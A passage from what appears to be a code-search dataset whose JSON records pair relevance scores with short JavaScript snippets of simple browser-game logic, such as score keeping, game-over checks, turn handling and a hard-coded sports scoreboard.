250, 100, \"grey\")\nmakeCircle(150, 100, 15, \"darkblue\")\nmakeCircle(300, 100, 15, \"darkblue\")\nmakeRect(175, 100, 100, 40, \"maroon\")\nvar teeth = Math.random()\nif (teeth > 0.5) {\nmakeRect(175, 100, 10, 17, \"white\")\nmakeRect(190, 100, 10 , 17, \"white\")\nmakeRect(205, 100, 10, 17, \"white\")\n }\n}", "title": "" }, { "docid": "1eced9f8526449b3ce7c5e4d47c9f3a8", "score": "0.56882185", "text": "flowerState(){\n if (scene === \"flower\"){\n if (petalCounter === 1 || petalCounter === 3 || petalCounter === 5 || petalCounter === 7){ // Every odd petal picked assigns a loveMe state\n flowerState = \"loveMe\"\n }\n else if (petalCounter === 2 || petalCounter === 4 || petalCounter === 6 || petalCounter === 8){ // Every even petal picked assigns a loveMeNot state\n flowerState = \"loveMeNot\"\n }\n }\n }", "title": "" }, { "docid": "ad93e8aa4cbb652fb1f7c7c111535ca9", "score": "0.56811756", "text": "function controlGame(noCarte) {\n\n if(returnCards.length < 2) {\n\n if(statCards[noCarte] === 0) {\n statCards[noCarte] = 1;\n returnCards.push(noCarte);\n displayCards(noCarte);\n }\n\n if(returnCards.length >= 2){\n let newState = 0;\n if(themeCards[returnCards[0]] === themeCards[returnCards[1]]){\n newState = -1;\n nbPairsFind++;\n }\n\n statCards[returnCards[0]] = newState;\n statCards[returnCards[1]] = newState;\n\n setTimeout(() => {\n displayCards(returnCards[0]);\n displayCards(returnCards[1]);\n\n returnCards = [];\n if (nbPairsFind === 10) {\n setTimeout(() => {replay()}, 750);\n }\n }, 750);\n }\n }\n\n}", "title": "" }, { "docid": "6f793b6a61b463ccde50385892cc5356", "score": "0.5671959", "text": "function newGame() {\n if (gameover) {\n gameover = false;\n count = 0;\n updateScore();\n \t showImage();\n }\n}", "title": "" }, { "docid": "6c3c559c764b0cc6eb179e780106dc60", "score": "0.5666438", "text": "function nextStage(counter) {\n if ( counter % 2 === 0 ) {\n $clockText.text(\"Break Time!\");\n console.log(\"Break Time\");\n\n breakTime();\n }\n else {\n $clockText.text(\"Work Time!\");\n console.log(\"Work Time\");\n\n pomodoro();\n }\n}", "title": "" }, { "docid": "f1e03ad46d9e3e676a674465e52b4bde", "score": "0.5651386", "text": "function newgame (){\n bval = pearlgen();\n pval = pearlgen();\n gval = pearlgen();\n yval = pearlgen();\n goal = Math.floor(Math.random()*120) + 19;\n counter = 0;\n }", "title": "" }, { "docid": "4f8a7af8b8ce91a14f34a532f26acc43", "score": "0.5648866", "text": "jx_missed_3(person, team, totals, stats) {\n person.fa += 1;\n person.a3 += 1;\n totals.fa += 1;\n totals.a3 += 1;\n\n //increase bench points\n if(!person.starter) {\n stats.benchpts += 1;\n console.log(\"benchpts: \" + stats.benchpts)\n }\n\n // add to play by play\n app.add_play(`${person.name} missed a 3-point jumper`);\n\n var total_attempts = 0;\n var total_fgs = 0;\n var total_threes_attmept = 0;\n var total_threes = 0;\n for(players = 0; players < team.length; players++)\n {\n total_attempts += (team[players].fa + app.vis_team[players].a3);\n total_fgs += (team[players].fg + team[players].m3);\n total_threes += team[players].m3;\n total_threes_attmept += team[players].a3;\n }\n stats.fg = Number.parseFloat(total_fgs/total_attempts).toFixed(2);\n stats.tfg = Number.parseFloat(total_threes/total_threes_attmept).toFixed(2);\n\n app.rebound();\n }", "title": "" }, { "docid": "4fdbacc228b8210f4aba46f02b768b40", "score": "0.56461924", "text": "function stepGameOfLife()\n{\n // FIRST PERFORM GAME LOGIC\n updateGame();\n\n // RENDER THE GAME\n renderGame();\n}", "title": "" }, { "docid": "49c8ceeee57ccfde65065432f52120b0", "score": "0.5643052", "text": "function getGamesInTimeframe() {\n let t1 = Profiler.time(), t2 = t1, n = 500, i = 0;\n while ((t2 - t1) <= n) {\n i++;\n game();\n t2 = Profiler.time();\n }\n console.log('%d wargames: %s ms total; %s g/ms', i, n, (i/n).toFixed(4));\n return i;\n }", "title": "" }, { "docid": "9c8abfd1a005efe1942bc1e1974fadeb", "score": "0.5642513", "text": "function gameover () {\r\n if (life<= 0) {\r\n showEndInfo('lose');\r\n gameOver = true;\r\n }\r\n}", "title": "" }, { "docid": "70f71edda19c012c77f15fd7a00dff77", "score": "0.56394213", "text": "function newGame(i) {\n // Reset score\n\t\t\n\t\tif (i < 1) { \n\t\t\tscore = 0; levelUpScore = 2000; \n\t\t\tlevelScoreProgress = 0; levelCount = 1; \n playOnce = 0; totalSeconds = 0;\n levelScoreProgress = 1;\n progressBar(1, 1)\n\t\t\tfor (var q=0; q <= 6; q++) {\n\t\t\t\tvar newsource = imgArray[q].src;\n\t\t\t\tnewsource = \"Images/\" + q + \".png\";\n\t\t\t\timgArray[q].src = newsource;\n\t\t\t\t}\t\t\n\t\t\t}\n\t\t\t\n\t\tlevelUpSound.stop();\n\t\tgameOverSound.stop();\n\t\tgameSoundLoop.pause();\n\t\tgameSoundLoop.play();\n\t\tprogressBar(1, levelCount);\n document.getElementById(\"progressBar\").style.display = 'block';\n // Set the gamestate to ready\n gamestate = gamestates.ready;\n \n // Reset game over\n gameover = false;\n \n // Create the level\n createLevel();\n \n // Find initial clusters and moves\n findMoves();\n findClusters(); \n }", "title": "" }, { "docid": "0a759e746431c8c542811a2f7dfd5e21", "score": "0.56357324", "text": "function startGame() {\n\t\tsequence = [];\n\t\tcopy = [];\n\t\tround = 0;\n\t\t$('p[data-action=\"lose\"]').hide();\n\t\tnewRound();\n\t}", "title": "" }, { "docid": "30fba6e726f9318be8ac288cace7d940", "score": "0.56354976", "text": "function check_game() {\n if (die_1.side == 'angry.png' & die_2.side == 'angry.png') {\n // ANGRY!!\n current_goal = 0;\n state.textContent = \"You're ANGRY!! Back to Stage 1\";\n state.className = \"angry\";\n } else {\n if (goals[current_goal].indexOf(die_1.side) != -1 &&\n goals[current_goal].indexOf(die_2.side) != -1 && \n die_2.side != die_1.side) {\n // Update goal\n current_goal++;\n\n // Unhold all die\n if (die_1.held) {\n hold_die(false, die_1);\n }\n if (die_2.held) {\n hold_die(false, die_2);\n }\n }\n state.textContent = stage[current_goal];\n state.className = stage_class[current_goal];\n\n if (current_goal == 3) {\n winner();\n }\n }\n}", "title": "" }, { "docid": "9063e0a2d5db95c1e2f85a1a6a273289", "score": "0.5633145", "text": "function draw(){\r\n //Calling a function to fetch the real time during the game\r\n getBackground();\r\n background(backImage);\r\n\r\n //thing to be done in the first game state\r\n\r\n if(gameState==1){\r\n //background(backImage);\r\n //background(\"white\");\r\n }\r\n\r\n //to start the game\r\n if(playerCount>=2&&gameState==1){\r\n gameState=2;\r\n game.updateGameState(2);\r\n console.log(\"true\");\r\n }\r\n\r\n //Game starts\r\n if(gameState==2){\r\n clear();\r\n game.play();\r\n }\r\n\r\n if(gameState==3){\r\n game.end();\r\n }\r\n\r\n}", "title": "" }, { "docid": "37ac636b504e6de512eb31758074001f", "score": "0.5619376", "text": "function scoreStreak(){\r\n if (streakNum >= 3) onStreak = true;\r\n else onStreak = false;\r\n\r\n if (onStreak)\r\n {\r\n if (streakNum >= 3 && streakNum < 8) scoreMultiplier = 1.2;\r\n else if (streakNum >= 8 && streakNum < 13) scoreMultiplier = 1.35;\r\n else scoreMultiplier = 1.5;\r\n }\r\n else scoreMultiplier = 1.0;\r\n}", "title": "" }, { "docid": "8e07e8b640ce0a5da7a233ca146f139c", "score": "0.56178594", "text": "function nextGame() {\n moveCount = 0;\n turn = 0;\n $('.square').text('');\n $('.square').css('background-color', '#1fbe8c');\n let keys = Object.keys(board);\n keys.forEach(function(el) {board[el] = '';});\n keys = Object.keys(connectThree);\n keys.forEach(function(el) {connectThree[el] = 0;});\n }", "title": "" }, { "docid": "dd4d52cb7ba7c26dfcfc5e217f4caee1", "score": "0.5614166", "text": "function catsGame() {\n\t\t\tif (self.gameState.turn == 9) {\n\t\t\t\tself.gameState.stat = \"You both lose!\";\n\t\t\t\tself.gameState.$save(self.gameState.stat)\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "2b6df16652518e5d6804cf2eb7cbfd4e", "score": "0.5606249", "text": "function loseLife(){\n lifes --;\n renderLifes();\n if (lifes <= 0) {\n gameOver();\n }\n }", "title": "" }, { "docid": "cac3fbd5a6e15211f1fbe86569b1a973", "score": "0.5605274", "text": "function megaPoint() {\n\t\t\t\t\t\t\t\t\t\t\t\tscore += +3;\n\t\t\t\t\t\t\t\t\t\t\t\t}", "title": "" }, { "docid": "0deeb06a5f20d671955fa9cf8dcb4cec", "score": "0.56052667", "text": "function dotsAndBoxes(ar){\n player1 = 0;\n player2 = 0;\n played = [];\n \n\n for(i=0;i<ar.length;i++) {\n if(i%2){\n // prejdi stack ci sa tam nenachadzaju uz [x,y][x,y+1][]\n } else {\n //player1.push(ar[i]);\n }\n console.log(player1);\n }\n // your code goes here. the sleeper must awaken!\n}", "title": "" }, { "docid": "c6131267ae890f8ef65cc6dc0c6b4086", "score": "0.5598208", "text": "function playGame(brain1, brain2){\n var status = new gameStatus();\n var u = new universeInfo(status);\n u.explosionLength = 0;\n u.Player = new playerTypes(u);\n u.Player.One.whoPlaying = brain1;\n u.Player.Two.whoPlaying = brain2;\n status.playing = true;\n status.winner = \"none\";\n while(status.playing){\n gameStep(u,status);\n }\n if (status.winner == \"P1\"){\n return 1;\n } else if (status.winner == \"P2\"){\n return -1;\n } else {\n return 0;\n }\n}", "title": "" }, { "docid": "c6921743590402b428524b4a94084ead", "score": "0.55860764", "text": "function nextTurn(){\r\n\tif (turn+1 <= turns.length) {\r\n\t\t// check for old captures and remove red circles from board\r\n\t\tif (backwards==false && turn>1 && turns[turn-1][4][0]>-1) oldCaptures=removeColoredCaptures(oldCaptures);\r\n\t\t// place new stone with color of current turn or empty if going backwards\r\n\t\tplaceStone(turn);\r\n\t\t// check for new captures going forwards and remove them, leaving red circles\r\n\t\tif (backwards==false && turns[turn][4][0]>-1) oldCaptures=removeCaptures(turn);\r\n\t\t// check for old captures going backwards and add red circles\r\n\t\telse if (backwards==true && turns[turn-2][4][0]>-1) oldCaptures=addRedCaptures(turn-2);\r\n\t\t// check for new captures going backwards and add black or white circles\r\n\t\telse if (backwards==true && turns[turn-1][4][0]>-1) oldCaptures=addUncaptured(turn-1);\r\n\t\t// closing the else's\r\n\t\telse oldCaptures=[];\r\n\t\tmessage = (backwards==false) ? showMessage(turn) : showMessage(turn-1);\r\n\t}\r\n\telse alert(\"End of game.\");\r\n}", "title": "" }, { "docid": "643ef37d26fadc0d1100718f6d3b6895", "score": "0.5584248", "text": "function game3player(){\n\tplayerCount = 3;\n\tdocument.getElementById(\"score\").style.display = 'block';\n\tdocument.getElementById(\"lives\").style.display = 'block';\n\tdocument.getElementById(\"line\").style.display = 'block';\n\tdocument.getElementById('menuHide').style.display = 'none';\n\tmain();\n}", "title": "" }, { "docid": "da4eb6137581e00d054c4fd6305ee152", "score": "0.558328", "text": "function thirdTurn(){\nquestion.innerHTML = trivia.thirdQuestion\nanswerOne.innerHTML = trivia.thirdAnswer[0]\nanswerTwo.innerHTML = trivia.thirdAnswer[1]\nanswerThree.innerHTML = trivia.thirdAnswer[2]\n\n answerOne.addEventListener('click', function(){\n result.innerHTML= \"That was incorrect\"\n numberRight = 0\n streak.innerHTML = \"Your winning streak is \" + numInARow\n gameOver()\n })\n answerTwo.addEventListener('click', function(){\n result.innerHTML= \"That was correct\"\n numberRight++\n numInARow++\n streak.innerHTML = \"Your winning streak is \" + numInARow\n gameOver()\n\n \n })\n answerThree.addEventListener('click', function(){\n result.innerHTML= \"That was incorrect\"\n numberRight=0\n streak.innerHTML = \"Your winning streak is \" + numInARow\n gameOver()\n })\n}", "title": "" }, { "docid": "c3e19040af1afcddb3f59d844a894801", "score": "0.55793524", "text": "function startNewGame() {\n gameNo++;\n numMenuItems = numInitialMenuItems;\n score = 0;\n level = 1;\n lives = maxLives;\n resetStats();\n setCurrentPage(\"pausedPage\");\n populateRound();\n isGameOver = false;\n}", "title": "" }, { "docid": "a8354beb2443bbdd60b10603d30bfce1", "score": "0.5578856", "text": "function startOver() {\r\n i = 0;\r\n level = 0;\r\n gamePattern = [];\r\n}", "title": "" }, { "docid": "33f5293657b3c29a92bbe95ce939bc50", "score": "0.55759245", "text": "function prevGamemode() {\n mode--;\n if (mode < 0) {\n mode = modes.length-1;\n }\n\n setGamemodeState(mode);\n}", "title": "" }, { "docid": "d012f874ee77858b99199c3349c5e33b", "score": "0.55740136", "text": "function switchBatsmen(){\n if(currentBallScore % 2 !=0){\n currentBatsMen.reverse();\n }\n}", "title": "" }, { "docid": "c936103416fea02e868dd7f17f344fc4", "score": "0.5573295", "text": "function Game() {\r\n ClearScore()\r\n ColorSequency() \r\n}", "title": "" }, { "docid": "133c3916f442bd7d18b38c990a2947a7", "score": "0.55707", "text": "function bjPioche() {\n if(bjGame['noStand']=== false){ \n let card = randomCard();\n console.log(card);\n showCard(card, TON_SCORE);\n updateScore(card, TON_SCORE);\n showScore(TON_SCORE);\n console.log(TON_SCORE['score']);\n }\n}", "title": "" }, { "docid": "8ea63d6619b85b5245f8b704e1ae559c", "score": "0.55702037", "text": "function gameOver() {\n kittyGroup = null;\n arrowGroup = null;\n arrowsLeft = STARTING_ARROW_COUNT;\n arrowText = null;\n kittyArr = [];\n currentKitty = 0;\n nextKittySpawnTime = 0;\n lastColor = null;\n lastLikes = null;\n lastArrowHit = null;\n level = 1;\n isGameOver = false;\n kittiesOnScreen = 0;\n scene.scene.restart();\n if (gameOverSound.audioBuffer !== undefined) {\n gameOverSound.play();\n }\n if (endScoreText !== null) {\n endScoreText.setText(`You made ${matches} matches!`);\n }\n scene.scene.switch('GameOverScene');\n }", "title": "" }, { "docid": "ee39ec0b9414b7cb1f24f6384328355b", "score": "0.55689836", "text": "gameStep(n){\n // IF ROOM DOESNT EXIST, STOP INTERVAL\n if(typeof rooms[this.rmnm] != 'undefined'){\n switch(this.state){\n\n /////// WAITING PHRASE\n case states.waiting:\n this.time -= (1/60);\n this.objects['broadcast'].msg = Math.floor(this.time);\n if(Math.floor(this.time) === -1){\n this.state = states.showing;\n this.objects['broadcast'].msg = '';\n }\n break;\n\n /////// SHOWING PHRASE PHRASE\n case states.showing:\n this.time -= (2/60);\n // WAITING . . . EFFECT\n switch(Math.floor(this.time)){\n case -4:\n this.time = 0;\n this.state = states.playing;\n\n break;\n }\n\n break;\n\n /////// PLAYING PHRASE ( PHYSICS AND COLLISIONS )\n case states.playing:\n this.time -= (3/60);\n switch(Math.floor(this.time)){\n case -1:\n this.objects['broadcast'].msg = 'waiting';\n break;\n case -2:\n this.objects['broadcast'].msg = 'waiting.';\n break;\n case -3:\n this.objects['broadcast'].msg = 'waiting..';\n break;\n case -4:\n this.objects['broadcast'].msg = 'waiting...';\n break;\n case -5:\n this.time = 0;\n break;\n }\n\n // PHYSICS LOGIC\n for(var id in this.objects){ // RESETS COLLISION TAG OF ALL PLAYERS\n if(this.objects[id].type === 'player'){\n this.objects[id].collide = false;\n // IF PLAYER IS OUTSIDE OF BOUNDS,\n if(this.objects[id].dead === true){\n this.objects[id].shrink();\n }\n }\n }\n\n for(var id in this.objects){ // RUN COLLISIONS\n if(this.objects[id].type === 'player'){\n var player = this.objects[id];\n for(var id2 in this.objects){ // ITERATES THROUGH ALL OTHER OBJECTS\n if(id != id2){\n var other = this.objects[id2];\n if(player.checkCollide(other)){\n player.bounce(other);\n }\n }\n }\n }\n }\n\n for(var id in this.objects){ // MOVE PLAYER\n if(this.objects[id].type === 'player'){\n for (var cols in this.objects[id].collided)\n {delete this.objects[id].collided[cols]};\n this.objects[id].move();\n this.objects[id].checkOnScreen(this.objects['platform'].radius);\n }\n }\n\n // CHECK IF ANYONE STILL MOVING\n var movement = false; // FLAG FOR MOVEMENT\n for(var id in this.objects){\n var player = this.objects[id];\n if(player.type === 'player'){\n if(player.dx != 0 || player.dy != 0 || player.dead === true){\n movement = true;\n }\n }\n }\n\n if(movement === false){\n this.time = 0;\n this.state = states.shrinking;\n this.objects['broadcast'].msg = '';\n this.checkEnd();\n }\n break;\n /////// SHRINK ISLAND\n case states.shrinking:\n\n this.time -= (2/60);\n if(Math.floor(this.time<-5)){\n // CHECK IF ANYONE STILL MOVING\n var movement = false; // FLAG FOR MOVEMENT\n for(var id in this.objects){\n var player = this.objects[id];\n if(player.type === 'player'){\n if(player.dx != 0 || player.dy != 0 || player.dead === true){\n movement = true;\n }\n }\n }\n\n if(movement === false){\n this.state = states.waiting;\n this.time = 10;\n this.checkEnd();\n break;\n }\n }\n switch(Math.floor(this.time)){\n\n }\n this.objects['platform'].radius > 120 ?\n this.objects['platform'].radius *= 0.999 :\n this.objects['platform'].radius *= 0.996;\n\n for(var id in this.objects){ // ON SCREEN CHECK FOR EACH PLAYER\n if(this.objects[id].type === 'player'){\n this.objects[id].checkOnScreen(this.objects['platform'].radius);\n // SHRINKS IF DEAD\n if(this.objects[id].dead === true){\n this.objects[id].shrink();\n }\n }\n }\n\n break;\n\n // END GAME SCENERIO\n case states.end:\n this.time -= (1/60);\n if(Math.floor(this.time)<=0){\n this.state = states.dead;\n }\n break;\n // DEAD GAME\n case states.dead:\n io.sockets.in(this.rmnm).emit('game done');\n clearInterval(n);\n rooms[this.rmnm].states = states.waiting;\n delete rooms[this.rmnm].game;\n break;\n }\n io.sockets.in(this.rmnm).emit('game state', this.objects, this.state)\n } else {clearInterval(n);}\n }", "title": "" }, { "docid": "b5926a23533939e13b3ada9adc6a2b99", "score": "0.55663496", "text": "function ifDrawLost() {\n score.innerHTML = \"AI wins the round!\";\n //console.log(\"Initial size: \"+drawArray.length);\n var runTimes = drawArray.length;\n for(j = 0; j < runTimes; j++ ){\n moveCardToAIStackFromDraw(drawArray.pop());\n\n }\n\n console.log(\"Cards AI left: \"+AIcards.length);\n console.log(\"Cards player left: \"+humanCards.length);\n var z = AIcards.length+humanCards.length;\n console.log(\"Total: \"+z);\n\n }", "title": "" }, { "docid": "5695a5425b6bbe82127931f183be5254", "score": "0.5565597", "text": "function sixth_extd(e) {\r\n\tvar count = parseInt(e);\r\n\tcount++;\r\n\tif(count <= 3) {\r\n\t\tdocument.getElementById('animation').innerHTML = \"<img class='sixth_1' src='assets/images/sixth_images/329_sixth\"+count+\".png'/>\";\r\n\t} else {\r\n\t\tdocument.getElementById('animation').innerHTML = \"\";\r\n\t\tcount = 0;\r\n\t}\r\n\t\tsixth(count);\r\n}", "title": "" }, { "docid": "84904baa46f1febfce64be25d9cf0905", "score": "0.55616903", "text": "function gameTimer() {\r\n y1++\r\n y2++\r\n runGame();\r\n}", "title": "" }, { "docid": "6517afd670ca2740747657389b2db6e3", "score": "0.5556312", "text": "checkTurnGameEnd(){\n if(this.turnCounter >= 25){\n this.boards.unshift(this.board);\n console.log('TODOS OS BOARDs',this.boards);\n console.log('TODAS AS PIECES',this.sceneBlackPieces,this.sceneMixPieces,this.sceneWhitePieces);\n this.gameStatus = GAMESTATE.GAME_OVER;\n if(this.whiteScore == this.blackScore || this.whiteScore > this.blackScore){\n this.winner = PLAYERS.WHITE;\n }else{\n this.winner = PLAYERS.BLACK;\n }\n this.updateOverlay();\n }\n }", "title": "" }, { "docid": "239c76506682cb7d5630c733fdd51da4", "score": "0.5547065", "text": "function checkIFGameIsOver(numberOfLives){\n\n}", "title": "" }, { "docid": "f200ac0dd043df085e3c4941217d8aa1", "score": "0.55407095", "text": "function determineSeason(game, seasonSize){\n if(game < seasonSize - 1){\n return 'early';\n } else if(game < (seasonSize * 2) - 1){\n return 'mid';\n } else {\n return 'final';\n }\n}", "title": "" }, { "docid": "df7b7aca209ce15727ef349e530efdc0", "score": "0.55388486", "text": "function doubleSix () {\n document.querySelector('.die1').style.display = 'block';\n document.querySelector('.die1').src = 'dice-6.png';\n document.querySelector('.die2').style.display = 'block';\n document.querySelector('.die2').src = 'dice-6.png';\n roundScores = 0;\n scores[activePlayer] = 0;\n document.getElementById('current-' + activePlayer).textContent = '0';\n document.querySelector('#score-' + activePlayer).textContent = roundScores;\n nextPlayer();\n}", "title": "" }, { "docid": "1ab4c1c1ec32bef45c1b72d068a4fbf8", "score": "0.55290246", "text": "function replayLastGame() {\n newGame(lastGameType);\n }", "title": "" }, { "docid": "c18653d8c8d16fbc0c38c39043369060", "score": "0.5523488", "text": "function nextturn() {\n actions = actions + 1;\n year = calculateYear();\n season = calculateSeason();\n seasonid = calculateSeasonId();\n activeEvents.updateEvents(clone(assembleGameState()));\n logGameState(assembleGameState());\n setsavedgame({\n tileState: tileState,\n actions: actions,\n score: score,\n activeEvents: activeEvents.arr,\n })\n console.log(actions);\n}", "title": "" }, { "docid": "211d18b9688bf7302939612dc4001c3b", "score": "0.5523256", "text": "function goNext() {\n gameState = gameState + 1;\n console.log(gameState);\n changeContent()\n}", "title": "" }, { "docid": "4c50a7c2c1f6a5190e38cb9b6ee08a93", "score": "0.55189407", "text": "function gameOver(game) {\n if (game.pacman.lives === 0) {\n return -1;\n } else if (game.gc.dots.length === 0 && game.gc.powers.length === 0) {\n return 1;\n } else {\n return 0;\n }\n}", "title": "" }, { "docid": "03ecc44919a241be9d1795384f0ec6f0", "score": "0.550644", "text": "function loseLife() {\n lives--;\n switch (lives) {\n case 2:\n document.getElementById(\"life1\").classList.add(\"lost-life\");\n break;\n case 1:\n document.getElementById(\"life2\").classList.add(\"lost-life\");\n break;\n default:\n if (lives < 1) {\n document.getElementById(\"life3\").classList.add(\"lost-life\");\n setGameOver();\n }\n }\n}", "title": "" }, { "docid": "c043c32e9e44b0255cbe4ff3c25d1517", "score": "0.55059063", "text": "function larrow()\n{\n\t// get scoreboard page number (kept in all_sports id div data)\n\tvar all_sports = document.getElementById(\"all_sports\");\n\tvar num = all_sports.dataset.num;\n\t\n\t// don't move left if first page\n\tif(num == 2)\n\t{\n\t\t// update number\n\t\tnum--;\n\t\tall_sports.dataset.num = num;\n\t\t\n\t\t// find out active sport\n\t\tvar scoreboard_sport = document.getElementsByClassName(\"scoreboard_sport\")[0].id;\n\n\t\t// get games div\n\t\tvar games = document.getElementById(\"games\");\n\t\t\n\t\t// update scoreboard for that sport\n\t\tif(scoreboard_sport == \"Dodgeball\")\n\t\t\t// Games for scoreboard\n\t\t\tvar g1 = \"<div class='game1'><div class='status'>2:54 G 3</div><div class='team1'>SBD</div><div class='team1score'>8</div><div class='team2'>LAC</div><div class='team2score'>4</div></div><div class='game2'><div class='status'>FINAL</div><div class='team1'><b>AJ'S</b></div><div class='team1score'>24</div><div class='team2' style='font-size:18.3px'>GGPC</div><div class='team2score'>23</div></div><div class='game3'><div class='status'>1:16 G 2</div><div class='team1'>CVD</div><div class='team1score'>4</div><div class='team2'>GSC</div><div class='team2score'>2</div></div><div class='game4'><div class='status'>4:02 G 5</div><div class='team1'>NYE</div><div class='team1score'>17</div><div class='team2'>TXS</div><div class='team2score'>14</div></div><div class='game5'><div class='status'>FINAL</div><div class='team1'>BUT</div><div class='team1score'>21</div><div class='team2'><b>AZR</b></div><div class='team2score'>24</div></div><div class='game6'><div class='status'>FINAL</div><div class='team1'><b>DDM</b></div><div class='team1score'>28</div><div class='team2'>VRP</div><div class='team2score'>27</div></div><div class='game7'><div class='status'>4:53 G 3</div><div class='team1'>MIB</div><div class='team1score'>10</div><div class='team2'>MNB</div><div class='team2score'>7</div></div><div class='game8'><div class='status'>3:20 G 1</div><div class='team1'>PHJ</div><div class='team1score'>0</div><div class='team2'>PTP</div><div class='team2score'>0</div></div><div class='game9'><div class='status'>FINAL</div><div class='team1'><b>HBH</b></div><div class='team1score'>29</div><div class='team2'>LVV</div><div class='team2score'>25</div></div><div class='game10'><div class='status'>5:00 G 2</div><div class='team1'>MSE</div><div class='team1score'>5</div><div class='team2'>HTG</div><div class='team2score'>5</div></div>\";\n\n\t\telse if(scoreboard_sport == \"Frisbee\")\n\t\t\t// Games for scoreboard\n\t\t\tvar g1 = \"<div class='game1'><div class='status'>Frisbee 1</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game2'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game3'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game4'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game5'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game6'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game7'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game8'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game9'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game10'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div>\";\n\n\t\telse if(scoreboard_sport == \"Quidditch\")\n\t\t\t// Games for scoreboard\n\t\t\tvar g1 = \"<div class='game1'><div class='status'>Quidditch 1</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game2'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game3'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game4'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game5'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game6'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game7'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game8'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game9'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game10'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div>\";\n\n\t\telse if(scoreboard_sport == \"Bo-Taoshi\")\n\t\t\t// Games for scoreboard\n\t\t\tvar g1 = \"<div class='game1'><div class='status'>Bo-Taoshi 1</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game2'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game3'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game4'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game5'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game6'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game7'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game8'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game9'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game10'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div>\";\n\n\t\telse if(scoreboard_sport == \"Roller\")\n\t\t\t// Games for scoreboard\n\t\t\tvar g1 = \"<div class='game1'><div class='status'>Roller 1</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game2'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game3'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game4'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game5'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game6'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game7'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game8'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game9'><div class='status'>FINAL</div><div class='team1'>NYY</div><div 